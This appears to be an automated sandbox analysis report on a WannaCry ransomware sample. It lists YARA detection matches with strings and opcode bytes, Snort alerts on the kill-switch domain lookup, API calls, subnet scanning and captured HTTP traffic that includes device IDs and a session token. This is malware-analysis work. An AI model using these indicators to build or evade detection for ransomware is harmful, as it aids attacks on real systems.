4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 31 entries

Snort Signatures

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.860335532830018 07/20/22-15:43:15.528565
SID:	2830018
Source Port:	60335
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.863557532830018 07/20/22-15:43:18.759007
SID:	2830018
Source Port:	63557
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) - Source IP: 192.168.2.7 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.78.8.8.860978532830018 07/20/22-15:43:16.924798
SID:	2830018
Source Port:	60978
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: mssecsvr.exe, 00000008.00000002.987402559.0000000000710000.00000002.00000001.01000000.00000004.sdmp, tasksche.exe, 0000000A.00000000.389929076.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmp, tasksche.exe, 0000000B.00000000.394328051.000000000042A000.00000002.00000001.01000000.00000006.sdmp, tasksche.exe, 0000000B.00000002.987530198.000000000042A000.00000002.00000001.01000000.00000006.sdmp, vGJZ7R5D9P.dll, mssecsvr.exe.2.dr, tasksche.exe.4.dr

Source: C:\Windows\tasksche.exe	Code function: 10_2_00409476 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		10_2_00409476
Source: C:\Windows\tasksche.exe	Code function: 10_2_0040DE5E SendDlgItemMessageW,DestroyIcon,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SHGetFileInfoW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		10_2_0040DE5E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:60335 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:60978 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2830018 ETPRO TROJAN Observed WannaCry Domain (iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff .com in DNS Lookup) 192.168.2.7:63557 -> 8.8.8.8:53

Connects to many IPs within the same subnet mask (likely port scanning)

Source: global traffic

TCP traffic: Count: 130 IPs: 188.18.139.45,188.18.139.46,188.18.139.43,188.18.139.44,188.18.139.49,188.18.139.47,188.18.139.48,188.18.139.5,188.18.139.6,188.18.139.7,188.18.139.8,188.18.139.1,188.18.139.52,188.18.139.2,188.18.139.53,188.18.139.50,188.18.139.3,188.18.139.51,188.18.139.4,188.18.139.9,188.18.139.34,188.18.139.35,188.18.139.32,188.18.139.33,188.18.139.38,188.18.139.39,188.18.139.36,188.18.139.37,188.18.139.41,188.18.139.42,188.18.139.40,188.18.139.29,188.18.139.23,188.18.139.24,188.18.139.21,188.18.139.22,188.18.139.27,188.18.139.28,188.18.139.25,188.18.139.26,188.18.139.130,188.18.139.30,188.18.139.31,188.18.139.18,188.18.139.19,188.18.139.12,188.18.139.13,188.18.139.10,188.18.139.98,188.18.139.11,188.18.139.99,188.18.139.16,188.18.139.17,188.18.139.14,188.18.139.15,188.18.139.20,188.18.139.119,188.18.139.89,188.18.139.118,188.18.139.117,188.18.139.87,188.18.139.116,188.18.139.115,188.18.139.88,188.18.139.114,188.18.139.113,188.18.139.112,188.18.139.111,188.18.139.92,188.18.139.110,188.18.139.93,188.18.139.90,188.18.139.91,188.18.139.96,188.18.139.97,188.18.139.94,188.18.139.95,188.18.139.78,188.18.139.129,188.18.139.79,188.18.139.128,188.18.139.76,188.18.139.127,188.18.139.77,188.18.139.126,188.18.139.125,188.18.139.124,188.18.139.123,188.18.139.122,188.18.139.81,188.18.139.121,188.18.139.82,188.18.139.120,188.18.139.80,188.18.139.85,188.18.139.86,188.18.139.83,188.18.139.84,188.18.139.67,188.18.139.68,188.18.139.65,188.18.139.66,188.18.139.69,188.18.139.70,188.18.139.71,188.18.139.74,188.18.139.75,188.18.139.72,188.18.139.73,188.18.139.109,188.18.139.108,188.18.139.56,188.18.139.107,188.18.139.57,188.18.139.106,188.18.139.54,188.18.139.105,188.18.139.55,188.18.139.104,188.18.139.103,188.18.139.102,188.18.139.58,188.18.139.101,188.18.139.59,188.18.139.100,188.18.139.60,188.18.139.63,188.18.139.64,188.18.139.61,188.18.139.62

Source: Joe Sandbox View	JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad
Source: Joe Sandbox View	JA3 fingerprint: 9e10692f1b7f78228b2d4e424db3a98c

Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?bb329f40cc4523416e23a53b82a219e7 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: b-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?c9da9c8e34792720457330e50b906a84 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: b-ring.msedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?3ba8ad6f2f2268384dd0d9c11ed41879 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: fp-as.azureedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?b05e69f891148ace332a52bc3c35499b HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: fp-as.azureedge.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4659Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4740Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4794Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4796Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAepQSC7V70RKQzUDYxdto5F7nJi/tejnzTXnUrt7Z276crIgxZtR0DXopKx3WjHyQs3H/nynMnLFEfSe96dIpYPKIx/zg33U9yT/NkzQwpHAwhbL00f4t7QNdXHCzZJ3rgUYgGAQ1sQ7WWGSVohAoyUO7craNRCAFpClxzJVKoGKOE/DeV1%2BpmxOwJhIf0vJCjJXTswK5DEWMJJlhUZEEgC8Fnwc6zyVoLxInuJf4N0fzeE0FvA/JhUFqZh88WqLTiBWe6ecxALO8FwDKkS73mCG3a%2Bl97ArxgXCuOFekeWEZ4JaY9uZMME4tojhTXMypWErcDdJju2FPsAO%2Bga/ij8DZgAACHrF8YGXrSYnqAGKRNjXIOPMMfI6EXR3p5CcSVvFQExmSxlluGOYvVEOIh87qTExO77czIYW6MRCBxlArhQWz2AureW457vbbCTAtGsWf9eywFy7eXmUTJq6jOp/bR88s73hi3kH8%2BgwYPbjCBPPvpC2kE1WKkCDuwqA5ThadthYQ84eGA1nQPbYQK4G5ywuwJhOy1xXG9ThSLbm0gL05txbl3CGVQIYkM1L5es132dHmQB9gzBm4TezED46gV3EG37pj1Wj0247sPZyEqjrPZ3cyCeqz3oBtUS3v9IQ1QQmDMfq35Pck3kDCdh79cThvDioO8//Bo4udc0/sLBbPXcjG8GvXFP3zwxWFsWdI0zTmQRl9kHUnnPoOb/RRp6MHOAQ51juABv8JeeUasGip9sSgXuGJVuUnjpKAuy6fdhTkAcCu5%2BWjrbRNGRnTXGHxe/9iLxHmulTYgiAfd/E2CPD03YrEBLxaQu6hptbhYr7KLW4xQxGRHUi2L5mvZ%2BEpUB3vXyCYJlfKqFHA1JJUtiikyXBe42zmgtuV54O1Fa/X5zdCXvUbpBsJXYaytAv6dQP1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658356973User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: 70A008FB74BB44DEA21BAF4D010A7506X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061395240662859X-DeviceID: 0100748C0900F661X-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAepQSC7V70RKQzUDYxdto5F7nJi/tejnzTXnUrt7Z276crIgxZtR0DXopKx3WjHyQs3H/nynMnLFEfSe96dIpYPKIx/zg33U9yT/NkzQwpHAwhbL00f4t7QNdXHCzZJ3rgUYgGAQ1sQ7WWGSVohAoyUO7craNRCAFpClxzJVKoGKOE/DeV1%2BpmxOwJhIf0vJCjJXTswK5DEWMJJlhUZEEgC8Fnwc6zyVoLxInuJf4N0fzeE0FvA/JhUFqZh88WqLTiBWe6ecxALO8FwDKkS73mCG3a%2Bl97ArxgXCuOFekeWEZ4JaY9uZMME4tojhTXMypWErcDdJju2FPsAO%2Bga/ij8DZgAACHrF8YGXrSYnqAGKRNjXIOPMMfI6EXR3p5CcSVvFQExmSxlluGOYvVEOIh87qTExO77czIYW6MRCBxlArhQWz2AureW457vbbCTAtGsWf9eywFy7eXmUTJq6jOp/bR88s73hi3kH8%2BgwYPbjCBPPvpC2kE1WKkCDuwqA5ThadthYQ84eGA1nQPbYQK4G5ywuwJhOy1xXG9ThSLbm0gL05txbl3CGVQIYkM1L5es132dHmQB9gzBm4TezED46gV3EG37pj1Wj0247sPZyEqjrPZ3cyCeqz3oBtUS3v9IQ1QQmDMfq35Pck3kDCdh79cThvDioO8//Bo4udc0/sLBbPXcjG8GvXFP3zwxWFsWdI0zTmQRl9kHUnnPoOb/RRp6MHOAQ51juABv8JeeUasGip9sSgXuGJVuUnjpKAuy6fdhTkAcCu5%2BWjrbRNGRnTXGHxe/9iLxHmulTYgiAfd/E2CPD03YrEBLxaQu6hptbhYr7KLW4xQxGRHUi2L5mvZ%2BEpUB3vXyCYJlfKqFHA1JJUtiikyXBe42zmgtuV54O1Fa/X5zdCXvUbpBsJXYaytAv6dQP1gE%3D%26p%3DX-Agent-DeviceId: 0100748C0900F661X-BM-CBT: 1658356973User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: 70A008FB74BB44DEA21BAF4D010A7506X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=7E1F7E3AB9E24BF9AA0D8F6664CA6F63
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fw5W?ver=8f07 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4FdpG?ver=453b HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50CFn?ver=3ce5 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50xrB?ver=6d99 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive

Source: unknown

Network traffic detected: IP country count 21

Source: unknown

DNS traffic detected: query: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com replaycode: Server failure (2)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 63887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50859
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55740
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52801
Source: unknown	Network traffic detected: HTTP traffic on port 52679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52807
Source: unknown	Network traffic detected: HTTP traffic on port 52295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52804
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50756
Source: unknown	Network traffic detected: HTTP traffic on port 52622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53106
Source: unknown	Network traffic detected: HTTP traffic on port 52863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54683
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55531
